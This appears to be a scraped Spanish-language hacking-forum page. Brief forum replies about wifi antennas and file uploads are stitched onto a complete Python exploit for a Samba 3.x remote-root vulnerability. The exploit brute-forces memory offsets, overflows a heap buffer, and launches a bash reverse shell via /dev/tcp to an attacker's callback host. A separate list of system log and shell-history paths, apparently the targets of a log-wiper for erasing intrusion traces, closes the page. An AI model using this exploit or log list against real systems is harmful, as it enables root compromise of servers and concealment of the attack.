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Dudas y pedidos generales / Re:Recomendacion de antenas wifi
« on: January 15, 2020, 10:13:16 pm »
Te recomiendo las del fabricante alfa network
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@You are not allowed to view links. Register or LoginLo mas fácil que se me ocurre es crear una carpeta vacía y subirla usando la función de arrastrar a través de la web.
Hola, pero lo hago y no me funciona, sera por que la versión de mi navegador es obsoleta: Uso windows xp y me imagino que ese es el problema pero si tu me puedes confirmar que puedes subir archivos con carpetas arrastrándolos te lo agradecería.
- DtxdF
source: http://www.securityfocus.com/bid/55655/info
Samba is prone to an unspecified remote code-execution vulnerability.
An attacker can exploit this issue to execute arbitrary code with root privileges. Failed exploit attempts will cause a denial-of-service condition.
#!/usr/bin/python
#
# finding targets 4 31337z:
# gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
# -> to get system_libc_addr, enter this value in the 'system_libc_offset' value of the target_finder, run, sit back, wait for shell
# found by eax samba 0day godz (loljk)
from binascii import hexlify, unhexlify
import socket
import threading
import SocketServer
import sys
import os
import time
import struct
targets = [
{
"name" : "samba_3.6.3-debian6",
"chunk_offset" : 0x9148,
"system_libc_offset" : 0xb6d003c0
},
{
"name" : "samba_3.5.11~dfsg-1ubuntu2.1_i386 (oneiric)",
"chunk_offset" : 4560,
"system_libc_offset" : 0xb20
},
{
"name" : "target_finder (hardcode correct system addr)",
"chunk_offset" : 0,
"system_libc_offset" : 0xb6d1a3c0,
"finder": True
}
]
do_brute = True
rs = 1024
FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
def dump(src, length=32):
result=[]
for i in xrange(0, len(src), length):
s = src[i:i+length]
hexa = ' '.join(["%02x"%ord(x) for x in s])
printable = s.translate(FILTER)
result.append("%04x %-*s %s\n" % (i, length*3, hexa, printable))
return ''.join(result)
sploitshake = [
# HELLO
"8100004420434b4644454e4543464445" + \
"46464346474546464343414341434143" + \
"41434143410020454745424644464545" + \
"43455046494341434143414341434143" + \
"4143414341414100",
# NTLM_NEGOT
"0000002fff534d427200000000000000" + \
"00000000000000000000000000001d14" + \
"00000000000c00024e54204c4d20302e" + \
"313200",
# SESSION_SETUP
"0000004bff534d427300000000080000" + \
"000000000000000000000000ffff1d14" + \
"000000000dff000000ffff02001d1499" + \
"1f00000000000000000000010000000e" + \
"000000706f736978007079736d6200",
# TREE_CONNECT
"00000044ff534d427500000000080000" + \
"000000000000000000000000ffff1d14" + \
"6400000004ff00000000000100190000" + \
"5c5c2a534d425345525645525c495043" + \
"24003f3f3f3f3f00",
# NT_CREATE
"00000059ff534d42a200000000180100" + \
"00000000000000000000000001001d14" + \
"6400000018ff00000000050016000000" + \
"000000009f0102000000000000000000" + \
"00000000030000000100000040000000" + \
"020000000306005c73616d7200"
]
pwnsauce = {
'smb_bind': \
"00000092ff534d422500000000000100" + \
"00000000000000000000000001001d14" + \
"6400000010000048000004e0ff000000" + \
"0000000000000000004a0048004a0002" + \
"002600babe4f005c504950455c000500" + \
"0b03100000004800000001000000b810" + \
"b8100000000001000000000001007857" + \
"34123412cdabef000123456789ab0000" + \
"0000045d888aeb1cc9119fe808002b10" + \
"486002000000",
'data_chunk': \
"000010efff534d422f00000000180000" + \
"00000000000000000000000001001d14" + \
"640000000eff000000babe00000000ff" + \
"0000000800b0100000b0103f00000000" + \
"00b0100500000110000000b010000001" + \
"0000009810000000000800",
'final_chunk': \
"000009a3ff534d422f00000000180000" + \
"00000000000000000000000001001d14" + \
"640000000eff000000babe00000000ff" + \
"00000008006409000064093f00000000" + \
"00640905000002100000006409000001" + \
"0000004c09000000000800"
}
def exploit(host, port, cbhost, cbport, target):
global sploitshake, pwnsauce
chunk_size = 4248
target_tcp = (host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target_tcp)
n = 0
for pkt in sploitshake:
s.send(unhexlify(pkt))
pkt_res = s.recv(rs)
n = n+1
fid = hexlify(pkt_res[0x2a] + pkt_res[0x2b])
s.send(unhexlify(pwnsauce['smb_bind'].replace("babe", fid)))
pkt_res = s.recv(rs)
buf = "X"*20 # policy handle
level = 2 #LSA_POLICY_INFO_AUDIT_EVENTS
buf+=struct.pack('<H',level) # level
buf+=struct.pack('<H',level)# level2
buf+=struct.pack('<L',1)#auditing_mode
buf+=struct.pack('<L',1)#ptr
buf+=struct.pack('<L',100000) # r->count
buf+=struct.pack('<L',20) # array_size
buf+=struct.pack('<L',0)
buf+=struct.pack('<L',100)
buf += ("A" * target['chunk_offset'])
buf+=struct.pack("I", 0);
buf+=struct.pack("I", target['system_libc_offset']);
buf+=struct.pack("I", 0);
buf+=struct.pack("I", target['system_libc_offset']);
buf+=struct.pack("I", 0xe8150c70);
buf+="AAAABBBB"
cmd = ";;;;/bin/bash -c '/bin/bash 0</dev/tcp/"+cbhost+"/"+cbport+" 1>&0 2>&0' &\x00"
tmp = cmd*(816/len(cmd))
tmp += "\x00"*(816-len(tmp))
buf+=tmp
buf+="A"*(37192-target['chunk_offset'])
buf+='z'*(100000 - (28000 + 10000))
buf_chunks = [buf[x:x+chunk_size] for x in xrange(0, len(buf), chunk_size)]
n=0
for chunk in buf_chunks:
if len(chunk) != chunk_size:
#print "LAST CHUNK #%d" % n
bb = unhexlify(pwnsauce['final_chunk'].replace("babe", fid)) + chunk
s.send(bb)
else:
#print "CHUNK #%d" % n
bb = unhexlify(pwnsauce['data_chunk'].replace("babe", fid)) + chunk
s.send(bb)
retbuf = s.recv(rs)
n=n+1
s.close()
class connectback_shell(SocketServer.BaseRequestHandler):
def handle(self):
global do_brute
print "\n[!] connectback shell from %s" % self.client_address[0]
do_brute = False
s = self.request
import termios, tty, select, os
old_settings = termios.tcgetattr(0)
try:
tty.setcbreak(0)
c = True
while c:
for i in select.select([0, s.fileno()], [], [], 0)[0]:
c = os.read(i, 1024)
if c:
if i == 0:
os.write(1, c)
os.write(s.fileno() if i == 0 else 1, c)
except KeyboardInterrupt: pass
finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
return
class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
pass
if len(sys.argv) != 6:
print "\n {*} samba 3.x remote root by kd(eax)@ireleaseyourohdayfuckyou {*}\n"
print " usage: %s <targethost> <targetport> <myip> <myport> <target>\n" % (sys.argv[0])
print " targets:"
i = 0
for target in targets:
print " %02d) %s" % (i, target['name'])
i = i+1
print ""
sys.exit(-1)
target = targets[int(sys.argv[5])]
server = ThreadedTCPServer((sys.argv[3], int(sys.argv[4])), connectback_shell)
server_thread = threading.Thread(target=server.serve_forever)
server_thread.daemon = True
server_thread.start()
while do_brute == True:
sys.stdout.write("\r{+} TRYING EIP=\x1b[31m0x%08x\x1b[0m OFFSET=\x1b[32m0x%08x\x1b[0m" % (target['system_libc_offset'], target['chunk_offset']))
sys.stdout.flush()
exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], target)
if "finder" in target:
target['chunk_offset'] += 4
else:
target['system_libc_offset'] += 0x1000
if "finder" in target:
print \
"{!} found \x1b[32mNEW\x1b[0m target: chunk_offset = ~%d, " \
"system_libc_offset = 0x%03x" % \
(target['chunk_offset'], target['system_libc_offset'] & 0xff000fff)
while 1:
time.sleep(999)
server.shutdown()
"/var/log/yum.log",
"/var/log/wtmp",
"/var/log/utmp",
"/var/log/secure",
"/var/log/mysqld.log",
"/var/log/boot.log",
"/var/log/lighttpd",
"/var/log/httpd/",
"/var/log/qmail/",
"/var/log/maillog",
"/var/log/cron.log",
"/var/log/kern.log",
"/var/log/auth.log",
"/var/log/message",
"/var/log/lastlog",
"/var/adm/lastlog",
"/usr/adm/lastlog",
"/var/log/lastlog",
"/etc/utmp",
"/etc/wtmp",
"/var/adm",
"/var/log",
"/var/logs",
"/var/run/utmp",
"/var/apache/log",
"/var/apache/logs",
"/usr/local/apache/log",
"/usr/local/apache/logs",
"/root/.bash_logout",
"/root/.bash_history",
"/root/.ksh_history",
"/tmp/logs",
"/opt/lampp/logs/access_log",
"/var/log/nginx/access.log",
"/logs/agent_lo",
"/logs/referer_log",
"/logs/access_log",
"/var/log/apache2",
"/var/log/wtmp"
